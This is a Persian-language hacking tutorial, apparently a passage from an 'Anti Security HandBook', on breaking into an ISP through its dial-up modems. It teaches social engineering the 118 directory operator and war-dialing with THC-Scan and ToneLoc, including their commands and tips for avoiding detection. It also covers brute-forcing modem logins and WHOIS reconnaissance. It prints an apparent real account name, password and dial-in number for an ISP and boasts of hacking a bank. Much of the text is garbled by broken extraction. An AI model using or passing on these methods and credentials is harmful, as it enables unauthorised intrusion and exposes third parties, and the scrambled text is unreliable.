ا    .شاید فکر کنيد مسخره است و شاید مقاله یا روشهای زیادی را خوانده باشيد ،  درباره این روش                   شوم ام من زیاد در این مبحث وارد نمي
اری است           د  بگم قدیم ها خيلی کارای داشت برای من الان سطح آگاهی اپرا تورها بالا رفته اما هنوز هم روش ک اور کني ه شما    !  ب ، من ب

م   .را حتما در این باره بخوانيد " Kevin Mitnick Art Of Deception" توصيه ميکنم کتاب  ول ه شاید وقت زیادی بگيرد، راستی پ
  .داخل گو گل یک جستجو کنيد حتما پيدا ميکنيد یک نسخه از آن را.  آن  داخل شبکه زیاد است E-BOOKبراش نميخواهد بدهيد چون 

  
  : دسترسی به شبکه -٢
  

  . در این قسمت  فرض کردم ISPنکته من برای درک و فهم بهتر مفهوم قربانی را  یک 
  

این هم مثل بالایی شاید فکر کنيد مسخره است اما یک چند مثال یک چند روشی توضيح ميدهم تا بفهميد چقدر کارایی دارد و بدرد بخور                  
درد بخور             گر برای من و بعضی ها ص      شهای آن دی  اما خيلی پر خرج است بعضی رو       سيار ب ع ب ا در بعضی مواق د ام ا یک    .رف نميکن ب

 ها ، یک کافی نت هم برای خودشان دارند که کنار سرور های آن ها هم است و در بعضی            ISPخيلی مواقع بيشتر    . مثال شروع ميکنيم    
ه             ه ب افی          !! ( مواقع سرور ها هم مشترک است ب ل ک ا مث ل توجه مشهدی ه ام رضا     قاب وار ام ام در بول ه شما   )  در مشهد  ) ع(نت خي ک

اب و                       وع مسير ی د ، ن اده    ... .ميتوانيد پشت یک سيستم نشسته  و کلی اطلاعات بدست بياورید مثل نوع  اتصال، پهنای بان ا یک راه س ام
ه قاب             ...  ها برای خودشان و      ISPتر هم است  بعضی از صاحبان         د ک ل  ." ل حدس زدن ميباشد     یک اکانت روی سرور درست ميکنن قاب

ا   ی ه ه کرج ان    "   توج اربر پرویزی ام ک ا ن انتی ب ل اک ور   )  parvizian(مث ه عب بکه    ٢۵٠۵۵٣۴و کلم ه ش ی ب ت رس ماره دس   و ش
د یک             . که براحتی حدس زده و لو ميرود    ٩٧١٢٠٠ رجيح ميده ه علت شلوغی خط های شبکه شان ت دیر ب در بعضی مواقع حضرت م

ه                            مودم را در بست در     دون کلم م نيست ب ادر ه ه ن ع ک ار در بعضی مواق رای راحتی ک ه ب ج است البت م رای ن ه  اختيار داشته باشد  که ای
ه    .استفاده ميکنيم " WAR DIALER" که ما برای دسترسی به این مودم ها و البته شناسایی آنها از برنامه های ! عبور ه ب رای حمل و ب

  .م تا بفهميم نام کاربر و کلمه عبور آن را استفاده ميکني " DEMON DIALER"آنها از 
  

ی  "  است که البته  باید هنر       ١١٨را بدست آورد که بهترین راه        ) ISP( باید تمام شماره های تلفن شرکت       =  اول   داشته  " مخ ت ليت کن
دهم در          و راه دوم استفاده از      !! باشيد که همه پسرها معمولا به غير از امثال خودم این یکی را دارا هستن               ه توضيح مي زار است ک نرم اف

  .این باره هم
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 و بدست آوردن تمام شماره ها آنها را تفکيک ميکنيم برای راحتی کار به این صورت که شماره های             ١١٨بعد از ترکاندن مخ  اپرا تور        
ار گذاشته شماره های روابط عم                        د کن ارت اینترنت آن شرکت می بيني م    اتصال به شبکه را که معمولأ پشت ک ا را ه شتيبانی ه ومی و پ

ه                ای را ک همينطور بعد ما باقی شماره ها را  بعد با تلفن یک تماس کوچولو با آنها بر قرار کرده تا بفهميم چکاره هستن این شماره ها آنه
م یک                          رار شده ه ا     آدم گوشی را بر داشت و الو الو کرد کنار ميگزاریم و بعد آنهای را که آدم بر نداشته ولی تماس برق ا اینه ا ب  طرف م

ور                 .کار داریم    را ت رد اگر مخ اپ اینها را نگه دارید ما با اینها کار داریم فعلا زیادی رفتيم جلو یک قدم ميگردیم عقب تا ببينيم چه ميشه ک
  .ترکاندنی  نبود که نبود 

  
رای اتصال      برای تمام کسانی که مقداری به اصول کار مودم و کامپيوتر آشنای دارند حتما ميدانند که و                 د ب قتی با یک مودم تماس ميگيرن

حتما نياز به یک سرویس دهنده است تا آن سرویس دهنده ضمن دستور وصل ارتباط هویت کاربر دور را تشخيص           ...  به کامپيوتر و یا     
  .دهد و بعد از احراز هویت به او سرویس دهد 

آن توسط یک مودم هميشه به خط تلفن متصل است شخصی با شما            برای درک بهتر موضوع یک مثال ميزنم شما یک کامپيوتر دارید و             
الا            ال و در حال اجرا    ( تماس ميگيرد شما پشت کامپيوتر چون نرم افزاری را برای این منظور ب د متوجه تماس او نمی      ) فع اورده ای ني

  .شوید ولی گوشی تلفن زنگ ميزند و شما از طریق گوشی تلفن متوجه تماس ميشوید
  :از نرم افزارهای سرویس دهنده مودم برای احراز هویت از راه دور البته مشهورترین ها عبارتند ازچند نمونه 

1- SYMANTEC S PC ANYWHERE 
2-LAPLINK 
3-CONROLIT 
4- …. 

 .قابل ذکر است هر کدام از این ها  در صورت پيکر بندی نادرست برای ما ها  ما فوق هلو هستند
ور و                        مثل شماره یک که اگر اپرا        ه عب دون کلم د ب د شما ميتواني دی نکن ه آن  ... تور آن ناشی باشد و بعد از نصب آن را درست پيکر بن ب

  .ماشين وصل شده و از امکاناتی مثل یک کاربر معمولی که پشت آن سيستم است استفاده کنيد 
ا                 ا آنج ا   تا به حال عمر هکری  ما ابزار های زیادی برای کشف مودم اختراع شده است و ت ه م راه خودم     ( ک ) من و هزاران شيطان هم

  . که برای آشنایی شما تعدادی از این نرم افزار، را معرفی ميکنم . ميدانيم سابقه آنها به نيمه دوم دهه نود ميلادی ميرسد 
  

1- DELUXE FONE-CODE HACKER 1985 
2- DIALING DEMON VERSION 1.05 , BY TRACY MCKIBBEN 1988 
3- PBX SCANNER VERSION 5.0, BAY GREAT WHITE 1989 
4- SUPER DIALER 1.3, BAY EVAN ANDERSON 1990 
5- DOO TOOLS VERSION 1.10, PHANTOM PHOTON 1991 
6- Z-HACKER 3.21, BY BLACKBEARD 1991 
7- TONLOC 1.10, BAY MINOR THREAT & MUCHO MAAS 1994 
8- A-DIAL (AUTO DAIL), BAY VEXATION 1995 
9-X-DIALER, BAY ICIKL 1996 

  
   :THC-Scan 2.0من حالا به معرفی و آموزش یکی از این ابزارها ميپردازم به نام  

وز      ٧ آمده و مال ١٩٩٨در سال ) . البته در این مقوله ( شاید تا به حال نرم افزاری به این قدرت در کارش ندیدم       ا هن يش است ام  سال پ
دوز  سخ وین ام ن ارایی اساسی دارد در تم دل ( ک ا ٣٫١از م را است ) WINDOWS SERVER 2003  ت ل اج دارای خروجی . قاب

ان از آدرس      . گرافيکی نيست مثل بيشتر نرم افزارهای هک و کرک خوب تحت خط فرمان است           دیم زم در ق زار را در ان رم اف من این ن
/EDU.TUSCULUM.INFERNO.THC://HTTPگرفتم  .  

  :اهری برنامه بعد از اجرا در خط فرمان  شکل ظ
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  .خروجی برنامه به بخشهای تقسيم شده است که همه را توضيح ميدهم !! همانطور که می بينيد 
تاده شده و    " : MODEM Window " ١ قسمت اول -١ در این قسمت شما فرامينی که از طرف نرم افزار به سمت مودم قربانی فرس

 چی هستن Hayes همخوانی دارد اینکه مودم های Hayesاین دستورها با دستورهای مودم های . ( شاهده ميکنيدپاسخهای دریافتی را م   
  ) .بعدا ميگم 

  .در این پنجره زمان فعلی ، زمان شروع و زمان احتمالی پایان تماسها را برای یافتن مودم رامی ببيند " : Time " ٢ قسمت دوم -٢
  . هر وقت یک مودم با حال پيدا کند به شما در این پنجره نشان ميدهد " :Found  " ٣ قسمت سوم -٣
ودم        " : Statistic  " ۴ قسمت چهارم    -۴ در این قسمت از نرم افزار گزارش ها را نمایش ميدهد در باره وجود سيگنال حامل از یک م

  ... ا در یک ساعت و ، تخمينی از تعداد تماسها و تعداد مودم های کشف شده  ، تخمينی از تعداد تماسه
نجم   -۵ ا پ سمت آخر و ی ام و مشخصات آن درج     " : Log Window " ۵ ق ان انج م راه زم ده  به ام ش ات انج ام عملي ن پنجره تم در ای

  . ذخيره ميشود در پوشه برنامه txtاین اطلاعات برای برسی های بعدی در یک فایل . ميشود 
  

  :ویژگيهای ای برنامه عبارتند از 
  
١- Dial random, Sequential or list of numbers     صادفی انتخاب ه صورت ت   یعنی اینکه  این برنامه ميتواند شماره ها را هم ب

  !!کند و یا اینکه شما آنها را در یک فایل به ترتيب دلخواه بنویسيد و بدید دست نرم افزار و یا پشت سر هم زنگ بزند 
٢-  Nudging        چی یعنی اینکه این حضرت تعالی ميتواند بعد از کشف مودم فعال و بدرد بخور یک سری                  بسيار عالی است حالا یعنی

  .کاراکتر های از قبل مشخص را برای مودم قربانی ميفرستد 
  .خوب که چی ؟ برای اینکه بفهمد نرم افزار سرویس دهنده جی است با توجه به جواب در یافتی از مودم قربانی 

٣-  Random wait between calls               ه شما یک ه طور دلخواه خودش ن رد ب ه ميگي ين تماسهای پشت سر همی ک   این یعنی اینکه ب
  !!سری وقفه هایی بيندازد به طور نامنظم تا شما لو نروید به علت این همه تماس 

۴-  Break up Work        ن برن ات ای تفاده امکان ا اس د ب ن داری د خط تلف ار را روی هر      اگر شما یک شبکه داخلی و چند مودم و چن ه ک ام
  .کامپيوتر تقسيم ميکنيم تا زود تر به نتيجه برسيم

اره آن شماره                         انی دوب دا مدت زم دیگر ویژگيهای این برنامه این است که اگر شماره ای وسط کار اشغال بود آن را کنار می گزارد و بع
  .را ميگيرد

  .ماره هم کنار ميگزارد و بعدا به اون دوباره زنگ ميزندکند این ش.. اگر کسی آن طرف خط گوشی را بردارد و هی الو الو و
ه               شار دکم ا ف د ب شنوید ميتواني اط را قطع     Bاگر بلندگو مودم فعال باشد و شما صدای طرف را در هنگام الو الو کردن ب د ارتب  صفحه کلي

  ... آن شماره را برای شما ثبت کند وCکنيد و یا اگر صدای  مودم را ميشنوید با فشار دکمه 
  . است که اون هم توضيح ميدهم Tone locیک کم ریز تر توضيح ميدهم  اول این نرم افزار بالا شکل پيش رفته نرم افزار 

  را اجرا کنيد می  ts-cfg اگر فایل !! این دوتا خيلی سر راست نصب ميشوند و فقط شما باید فایل اجرایی آن را کپی کنيد بعد اجرا کنيد 
ا                  توانيد پيکر بندی آ    ی ه ثلا تهران د م ا وارد کني ا   ٠٢١ن را دست کاری کنيد توصيه ميشود کد منطقه خود را حتم ...  و٠٢۶١ و کرجی ه

  :شکل ظاهری این به این صورت است!!چون موقعی که در خط فرمان ميخواهيم شماره گيری کنيم مشکلی پيش نياید 

  
  

  :ه این شکل ميشود ب) پيکر بندی مودم    ( Modem Configکه پس از زدن گزینه 
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وی            د جل ه  اگر نمی داني ا ن د درست ی  چی  IRQالبته زیاد شما در این قسمت دست کاری نکنيد ولی فقط پورت را یک نگاه بندازید ببيني
  :اجرا کنيد بعد ميفهميد ولی شکل کلی به صورت زیر است MOD-DET.EXEباید بنویسيد نرم افزار کمکی آن را با نام 

COM             IRQ           I/P Port 
1                     4                  3f8 
2                     3                  2f8  
3                     4                  3e8 
4                     3                  2e8 

ری   )چقدر زمان برای هر شماره صرف شود   (یم اوت برای فراخوانی اگر می خواهيد جزئيات بيشتری را تنظيم کنيد مثل تا         ، شماره گي
  :  بروید که این شکلیScanning Optionsبه منوی ...  مجدد شماره های اشغال انجام بشود یا نه ، تصادفی شماره بگيرد یا نه و 

 

  
  

دارد       خود) چون خيلی خيلی تابلو( من نمی خواهم ریز جزئيات با این یادتون بدم          اری ن د هيچ ک د ميفهمي يم روز سرف آن کني . تون یک ن
  .در آخر فایل پيکر بندی را ذخيره کنيد و خارج شوید

  :بعد از پيکر بندی که مطالب مهم آن را یادتون دام موقع اجرا نرم افزار، فرا ميرسد باید شما در خط فرمان بنویسيد
Microsoft Windows XP [Version 5.1.2600] 
(C) Copyright 1985-2001 Microsoft Corp. 
 
D:\zornaznfarsinvashtam>Thc-scan filename.dat/m:123.xxxx/r:1000.9999 



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٥٤٥    صفحه

ری          M/گزینه  . باز هم یک توضيح کوچولو در باره  این دستور ميدهم             د شماره گي ه بای ا است ک ن ه ه شماره تلف  نمایانگر پيشوند و دامن
ه .شوند   ا  R/گزین امی Range  ی ا    ارق اط مشخص ب ه در نق د ک ان ميباشدXرا مشخص ميکن ه  . در فرم تم ب دم چی گف م نفهمي خودم ه

 .) رقم مشخص می کند۶ تا ٣  M/.(  را شماره گيری ميکند ١٢٣-٩٩٩٩ و ١٢٣-١٠٠٠عبارت دیگر ، فرمان بالا کليه ارقام بين 
  !!همين. کردید شما است که بالا درست ی هم همان نام فایل تنظيمهاFilename.datگزینه  

الایی   %  ١٠٠احتمالا یعنی  زار ب وده    Tone locقبل از این نرم اف اره ب م ک ن          !!  ه نم از ای ی است من توصيه نميک ای بلای ن باب ه ای البت
اد       . استفاده کنيد ولی باز طرفدار خودش را دارد شاید شما هم از طرفدارهای آن شدید               ن   .ولی خيلی قوی ولی دنگ فن گش خيلی زی من ای

  !! علت کمی پيچيدگی آن بيشتر توضيح ميدهم به
  ١٠٠٠٠ است که امکان شماره گيری خودکار و مدیریت بيش از DOSاین ابزار همينطور که ميدانيد برنامه شماره گير تحت 

ر از  THC Scanشماره را دارد تمام قابليت های  ودن را   User Friendly را دارا ميباشد البته بغي ه دارای ی  !!   ب اربر   البت ک رابط ک
ل  .    استفاده می کند هست که کار را ساده کرده است البته با سویچ ها در خط فرمان کار آنرا ميشود کردASC 2که از کاراکتر های  قب

ل                  ار فای ن بگم ک     Tlcfg.exeاز استفاده از این برنامه باید این را مثل نرم افزار قبلی پيکر بندی کنيد برای این ک د ای ه   را اجرا کني ه دکم
Enter            روی کيبورد کار باز کردن منو ها را دارد و Esc                  د ا حرکت کني و ه  باعث بسته شدن آن ميشود با کليد های جهتی ميتوانيد تو من

!!  
     : Filesمنوی 

  
  

ل                      ایی  مث رای فایله ان ب ورد نظرت ر         LOG      ،  Foundبا استفاده از منوی فایل شما ميتوانيد اسامی  م ره را تغيي د   و غي ا   . بدهي ن فایله ای
ردم و                   دا ک ودم پي ند     .... نتایجی مثل تلفن مشغول بود و جواب نداد و یک م د         !! ( را دارا ميباش نم دست نزني و     " توصيه ميک ا ل يج  "  ه گ

  .است...   شماره هایی که هرگز نباید بگيرد مثل اورژانس، آتش نشانی،  پليس وBlack listفایل ).ميشود آخرش هنگيات ميکند
Alt Screenوق     .  هم حاوی راهنمایی های نا مربوطه است د ب ا قاعده عه ا  DOS ٨٫٣لازم به ذکر است در نام گزاری فایل ه   را حتم

  !! کاراکتر برای پسوند فایل ٣ کاراکتر برای نام  و ٨رعایت کنيد یعنی 
    :Modem Stringsمنوی 

  
  

ر دستورات               Hayesدم های    با استفاده از این منو ميتوانيد دستورات استاندارد مو          اده ت ارت س ه عب ا ب ودم       AT  ی دی م رای پيکر بن  را ب
ری را از       شوند شماره گي ثلا  پي د م ه  ATDTاستفاده کني ا    ATDT*67 ب د ت شوند های      Caller ID عوض کني د پي د ميتواني ار بيفت  از ک

ل    د مث تفاده کني م اس ری را ه ماره  ATDT9,1907دیگ دا ش ه ابت ی اینک رای د٩ یعن د     را ب پس ک رد و س ن ميگي ط تلف ه خ ی ب ست رس
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ی      .ميگم از کجا بقيه این دستورها را پيدا کنيد        .  که این به درد ادارات ميخورد        ١٠٩٧درخواست شماره گيری از راه دور        اگر به هر دليل
  . مربوط به مودم خودتون کليد کنيد Tone Hangup  و Stringهنگيات کرد روی گزینه 

  :ر ميتوانيد پيدا کنيد را از آدرس زیATفرامين 
http://www.modemhelp.net/basicatcommand.shtml 

 
  

    :Modem Optionsمنوی 

  
  

زی  . با بهره گيری از امکانات این منو ميتوانيد تنظيمات سخت افزاری مودم را انگولک کنيد       ا چي د هيچ     اگر از این ج اورده ای  سر در ني
ه معمولا      COMنگران نباشيد فقط لازم پورت  د ک شخيص بدهي ودم ت    COM 3 را تعيين کنيد که آن را از  کنترل پانل ویندوز قسمت م

رای           . است برای مودم های داخل کيس        د ب ه معمولا بای ن است ک د خط تلف ودم و چن د م یک مشکل اساس این برنامه عدم پشتيبانی از چن
 مجزایی تعریف کرد پوشش داده      COMرطرف کردن این عيب از چند بار اجرای همين برنامه به صورتی که برای هر برنامه پورت                  ب

  .شود
ر         Baud rateیک سوال خوب این است که  اثيری ب ودم است و هيچ ت اط م راری ارتب  چيست ؟ در جواب باید گفت این فقط سرعت برق

  .م ها را نداردروند سریع شدن اتصال مودم با مود
    :Scan Optionsمنوی 

  
  

  .این منو اساس کار ما است و باید به صورت ویژه مورد برسی قرار بگيرد
  .شاید نياز باشد با این دو گزینه یک کمی بازی کنيد تا مقدار بهترین را برای وضعيت خود پيدا کنيد 

1-Wait Delay 
2-Between-Call Delay 

ه                          مقدار گزینه دومی و اصلا     ری مجدد است ک  هر دو بر حسب ميلی ثانيه است که دومی زمان برای ریست کردن مودم برای شماره گي
ثلا                      شود م ا  ۴٠٠بستگی به مودم خط و شماره هایی که دارد ميگيرد دارد زمان بيشتر باعث ریست شدن بهتر مودم توسط نرم افزار مي  ی

ه خوب است    ميلی ثانيه است ٣٠٠ ، پيش فرض این زمان۵ ٠٠حداکثر ه اول  . ک ن      Wait Delayگزین ی است ای ژه ای  دارای اهميت وی
ن   . گزینه معرف مدت زمانی است نرم افزار منتظر دریافت پاسخ می ماند       ن و ای پس از این رو می توان با توجه به تعداد شماره های تلف
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ار    )  توان صرف نظر کرد   به علت کوچکی می Between-Call Delayاز، زمان ( ، } Wait Delay منظور{ زمان ان ک مدت زم
ا یک محاسبه سخت ریاضی می       ۴۵ معادل ۴۵٠٠٠ در حالت پيش فرض Wait Delayرا تخمين زد مثلا زمان   ثانيه می باشد پاس ب

 !! ساعتی زمان احتياج داریم١۶ شماره را تست کنيم نياز به یک ١٠٠٠توان فهميد که اگر ما بخواهيم 
شود       البته ميتوان یک شب تا ص      زاحم ن م کسی م ری آب بخورد ه ه       .بح فرض کرد که هم پول کمت ن عدد را ب ر است ای ی بهت  ٣۵٠٠٠ول

ا م است  ٣٠٠٠٠وی ر ه ی ت ه منطق اهش داد ک ه ک ی ثاني ردیم   .(  ميل دیر ميگ ای حضرت م ال خط آق م دنب ا داری ون م ه !!) چ ن ب ه م البت
ا           ١٢ الی   ١٠شخصه ثلا             ثانيه حداکثر زمان برای این یکی ميگزارم و زم شتر م ودم را کمی بي ر     ۴۵٠ن ریست م ن منطقی ت ميگزارم ای

رای     Timeoutاست چون با راه هایی که در ادامه ميگم می شود دوباره شماره های را که فقط مثلا                    شتری ب ان بي ا زم  شدن را دوباره ب
  .انتظار جواب گرفت

  .  تنظيم کنيدY  را با مقدار DAT Files ،  Save ،  Logging to Disk ،  Carrier Loggingحتما گزینه های 
دی را                                     ه پيکر بن وط ب ل مرب د حالا فای رده ای ون آن را تنظيم ک خوب حالا گزینه های پيکر بندی را به شما گفتم و شما مناسب حال خودت

  .!!روی دیسک ذخيره کنيد اسم آن را هم با توجه قواعد که گفته شد بگزارید که هم خودتان بفهميد
  

ام             Tl.cfg هميشه عمليات خود را بر روی فایلی  با نام            Tlcfg.exeمه  برنا:  نکته    انجام ميدهد که جهت استفاده از آن لازم است مرتبا ن
  .!! تغيير داده و پس از اعمال تغيرات دوباره آن را به حالت اول برگردانيدTl.cfgانتخابی خود را برای فایل پيکر بندی برنامه را به 

  !! که دیگر از خود برنامه استفاده کنيمحالا زمان آن رسيده
  :های برنامه را در زیر می بيند ) سویچ ( گزینه 

ToneLoc [DataFile] /M:[Mask] /R:[Range] /X:[ExMask] /D:[ExRange] 
                /C:[Config] /#:[Number] /S:[StartTime] /E:[EndTime] 
                /H:[Hours] /T /K 

 :ح های آنو توضي
  

[DataFile] - File to store data in, may also be a mask 
[Mask] - To use for phone numbers Format: 555-XXXX 
[Range] - Range of numbers to dial Format: 5000-6999 
[ExMask] - Mask to exclude from scan Format: 1XXX 
[ExRange] - Range to exclude from scan Format: 2500-2699 
[Config] - Configuration file to use 
[Number] - Number of dials to make Format: 250 
[StartTime] - Time to begin scanning Format: 9:30p 
[EndTime] - Time to end scanning Format: 6:45a 
[Hours] - Max # of hours to scan Format: 5:30 
Overrides [EndTime] 
/T = Tones, /K = Carriers (Override config file, '-' inverts) 

 :با مثال توضيح ميدهم متوجه شوید مثلا
C :\> toneloc.exe xxxx.dat / c: zzzz.cfg 

 C/  سویچ .   همان فایل پيکر بندی ما است ZZZZ.cfg  تمام نتيجه های ما در آن قرار دارد و XXXX.datخوب همانطور که ميدانيد 
 . فایل استفاده کند و دفعات بعد یکی دیگه را استفاده کنم که من اضافه کردم این کار را ميکند که برای این جستجو فقط از این

ا   (   همه  تقریبا یک کار را انجام ميدهند که من اولی را توضيح ميدهم D/  و X/  و  R/  و M/سویچ های   د دوت دوتا اولی اضافه ميکن
  ).بعدی حذف

  :ثل  محدوده خاصی از شماره ها را دقيقا مشخص کرد مM/ميتوان با این سویچ 
/m: 971-XXXX 
/m: 971-1XXX 
/m: 971-X9XX 
/m: 971-XXX3 
… 

 . را جای آنها ميگزارد و شماره ميگيرد٩ تا ٠ ها خود برنامه تمام اعداد بين Xکه به جای 
  : ميتوان محدوده ای از شماره ها را حذف کرد از شماره گيری مثالD وXبا استفاده از گزینه های 

C:\>Toneloc.exe xxxx.dat / c: zzzz.cfg /m: 971XXXX /d: 0000-7499 
 !! هم تابلو که چکار ميکندh وe وS.  ها نمی گزاردX را به جای ٧۴٩٩ تا ٠همانطور که می بينيد محدوده بين 

  .با استفاده از این ترکيبها ميتوان کار را بين مودم ها تقسيم کرد : توجه
  .ام ميدهند که عرض ميکنم در هنگام کار برنامه دکمه های کيبورد کارهای انج

  
 نام کليد توضيحات

 C .این فرمان شماره مورد برسی را برای تشخيص نوع سرویس دهنده علامت ميگزارد
 F .این فرمان شماره را ، شماره یک ماشين فکس علامت ميگزارد

 Gویی خود  سرویس پاسخگGRILماشين (  علامت ميگزارد GIRLاین فرمان شماره را به عنوان یک ماشين 
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کار  از طریق صدای ضبط شده می باشد مثل شماره های هواشناسی که ميگه فلان شماره را بزن تا آب هوای 
 ).فلان شهر را بگم 

 K .می توان برای این شماره نکته ای نوشت
 P ..عمليات شماره گيری را به حال تعليق در می آورد و با فشار هر کليدی ادامه کار از سر گرفته می شود

 Q .موجب خروج کامل از برنامه ميشود
 R .شماره فعلی را دوباره ميگرد

 S .بلند گوهای مودم را فعال و یا غير فعال ميکند
 X . ثانيه به مدت انتظار برای پاسخ را فقط برای این شماره زیاد می کند۵

 V علامت ميگزارد ) VMB(   یا Voice Mail Boxشماره را به عنوان سرویس 
 [Spacebar] .شماره فعلی را کن سل کرده و شماره بعدی را ميگيرد

 [Esc] .باعث خروج از برنامه ميشود
  

ه ميرسه دیگه آموزش                           % ٨٠خوب تا حالا     ن مرحل ه ای از کار را تمام کردم معمولا توی تمام آموزش ها یی که دیدم تا به حال هر کی ب
  .از این جا به بعد توضيح ميدهم....  بيشتر هم تجربی من باز هم به علت تمام ميکنه ولی اصل کار از حالا به بعد که

ل                         ام شد فای ار تم ه ، ک وا ک ن محت ا ای د ب ام ميده ه شما یک پيغ ه ب ار برنام د      XXXX.Datپس از پایان ک ا ميباشد و بای   حاوی نتيجه ه
ه هر ش   .ویرایش شود اطلاعات آن بازیابی و دست خوش تغيير شود            ه هر شماره        ١ماره در این فایل ب د و ب ضا اختصاص ميده  بایت ف

  .یک مقدار خواص می دهد که نتيجه عمل برنامه است که در جدول زیر مقادیر  و معنی آنها را می بينيد 
  

 مفهوم مقدار عددی مقدار کاراکتری
UNDIALED 00 هنوز این شماره را نگرفته. 

BUSY 1X سيگنال اشغال بودن خط را دریافت کرده. 
VOICE 2X  معمولا مال دستگاه فکس است.( سيگنال صدا را تشخيص داده( 

NODIAL 30 امکان شماره گيری وجد ندارد. 
ABORTED 5X از شماره گيری صرف نظر به عمل آمده. 
RIAGOUT 6X  برنامه به مقدارRingoutاین مقدار آستانه را ميتوان با استفاده از برنامه .(  رسيده

 ) قابل دست رسی و تعيين است Scan Options و از منوی tlcfg.exeکمکی 
TIMEOUT 7X  برنامه به مقدارTIME OUT زیاد درباره اش توضيح دادم(  رسيده( 

TONE 8X  علت دارد کم ٢( در هنگام انجام کار یک سيگنال شماره گيری دریافت کرده 
 !! )بودن زمان ریست یک نفر دارد با تلفن شماره ميگيرد

CARRIER 9X  یک سيگنالCRRIER تشخيص داده !! 
EXCLUDE 100  شماره تلفن را خودتان با توجه به سویچ ها حذف کرده اید. 

  
 است  dat.*کار این برنامه برسی فایل. که همراه این نرم افزار است کارایی جالب دارد که این هم ميگویم tlreplac.exeبرنامه کمکی 

م تنظيم       .دار های بالا که گفتم هر کدام چه معنی دارد         و تغيير یک نوع خواص از مق       خوب بالا تر ها به شما گفتم اگر مثلا زمان انتظار ک
  :کرده اید نگران نباشيد شماره های آن دوباره  ميگيریم  یا مثلا شماره های اشغال خوب به دستور زیر توجه کنيد

C:\>tlreplac.exe XXXX.dat BUSY UNDIALED 
 .اب اساس به قول خودش ميدهد و ما ميتوانيم دوباره شماره های اشغال بگيریم بقيه کارها هم مثل قبل استبعد یک سری جو
  !!! هم صدق ميکند که به جای قسمت زرد مينویسم RINGOUT  و TIMEOUTاین قضيه برای  

ل    ردن فای ارش درست ک ه ک م دارد ک ه کمکی دیگه ه رای شمار dat.*یک برنام ا ب ورد دلخواه م ه  م م برنام ه اس ورد نظر ک ه های م
Prescan.exe   ا      ٣بغير از اینها .  است کارش دیگه خودتون یاد بگيرید رای م ل را ب دن و تحلي ه خوان  برنامه آمارگيری کمکی هم دارد ک

    !!.dat.*راحت می کند از روی فایل 
ا      همين همش توضيح دادم دیگر هيچی نيست که بگم ولی از کل  و هدف مقاله ای که مي              رای شما ه ی ب خواستم بنویسم خيلی دور شدم ول

ه مسخره است    ... از کارایی های این روش می توان به هک بانک تجارت نام برد در وطن خودمان و           !!! بد نشد که     فکر نکنيد یک دفع
  . گزینه اول است ٣این روش بلکه بدانيد اگر جایی را به طور اساسی بخواهيد هک کنيد این روش جزو 

ی سوسولی         اگر از  ی خيل ه خيل ار هست ک  خط فرمان مثل خيلی از مامانی ها ميترسيد بدانيد یک برنامه گرافيکی در پيت هم برای این ک
  .ش ميتوانيد بگيرید اcom.sanstorm.www   که از سایت PhoneSweepولی خالی از لطف نيست تجربه کار کردنش به نام 

  . روش٣ميشود سه ... روش مخ + خوب تا حالا دو روش به شما یاد دادم برای پيدا کردن مودم های فعال و 
نخواست که هلو اگر خواست که حاليش ميکنيم که این هم راه دارد و آن هم    .. حالا به مودم وصل ميشویم اگر کلمه عبور و نام کاربر   و             

ور ه عب ه ز!!! حدس زدن کلم ا ورود ب ه  .است  ) Brute Force( ور و ی ان حدس زدن است ک ه هم ار روش اول ک ام اینک رای انج ب
  .مشخص است باید با توجه به شرایط هدف کلمه حدس زده شود که در ابتدای مقاله دیدید این کلمه ها چه بود 
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ل          يم مث تفاده ميکن ور اس ه عب رم افزارهای تست کلم ارایی اش   THC Login Hacker: اگر حدس زده نشد نگران نباشيد ما از ن ه ک   ک
دیم از آدرس  ان ق در زم ن آدرس  EDU.TUSCULUM.INFERNO.THC://HTTP/: خوب است من آن را ان ه ای ر ب رفتم اگ   گ

  .نتوانستيد بروید من شما را به گو گل ميسپارم
  

  ! زیاد فرق نمی کند پس نتيجه ميگيریم من مدل دیگری را توضيح نميدهم .مثل همين ها استکار با این مدل از نرم افزارهای هک 
سورس برنامه را با یک است   را گرفتيد  لازم Run time 200  پيغام خطای THC-Scanیک نکته خيلی کاربردی اگر موقع اجرای 

  .  اجرا کنيدdosemu  و یا doscmdثل   مDosکامپایلر  پاسکال دوباره کامپایل کنيد یا تحت یک شبيه ساز 
  

 دار ISP را برای شما بنویسم ، اما ترسيدم نکند فردا تمام THC-Login Hackerدوستان خيلی مشتاق بودم که آموزش کامل برنامه 
  .تلاش کنيد یاد ميگيرد... ها همش به ما بد بيراه بگن ما این قسمت 

  
  
  :هدف جستجو در وب  به دنبال اطلاعات شبکه -٣
  

ه یک          این کار در شرایط خاصی لازم که انجام بشود در بعضی از متدهای و یا فارسی  شيوه ها هک که شما باید از یک لينک خاص ب
  ...سایت متصل بشوید تا بعضی از اختيارات به شما داده شود و

  
ان هکر   مثلا سایت کروز را به دنبال لينک ها یش جستجو ميکنيم  و به این نتيجه ميرسيم که        فایلهای قابل دانلود آن در سایتی به نام کرم

ه روشهایی     ... با توجه به این مسئله، دیگر عضو شدن و درجه گرفتن و          .است   ا توجه ب معنایی ندارد و ما هر چی بخواهيم از آن سایت ب
  .!! )این قسمت را بنا به اعتراض  خودشان حذف کردیم  (که بعدا یاد ميدم بر ميداریم

  
  :  می نویسيم ALTAVISTA  سایت مثال در

Link: www.crouz.com 
  

يم               ورد بس است مطلب        .بعد نتایجی را که شمال تمامی سایت های  وبی است که به این لينک ارجاع داده شده را می بين ن م فعلا در ای
م      .ببخشيد!!! زیاد است من هم حوصله نوشتن ندارم  ود  یک مطلب مه م     اه اه اه اه  اصلا هوا سم نب اره است و آن ه ن ب  Who is در ای

  .که ما هم برای کامل بودن مقاله دوباره ميگویم !!!!!!!!! البته آقای  صمدی در مقالات خود توضيح دادن .است توضيح ميدهم 
  

ل آدرس های         افتن اطلاعاتی از قبي رای ی ن عمل را ب ای حوزه   IPما ای اره مسئول ش     ) Domain Name(  ، نامه بکه اطلاعاتی در ب
ات را         ... و زمان انقضای  آن و  domainآدرس او و شماره تلفن و سال ثبت          ز جزئي د ری دهم بع ه شما ب ی ب می خواهم اول یک نمای کل

د            ( در شبکه های بزرگ   .بگم   ام ميده ا را یک ماشين انج ام کاره زرگ در شبکه کوچکتر تم نم ب د ميک داری    )  تاکي رای امنيت و پای ب
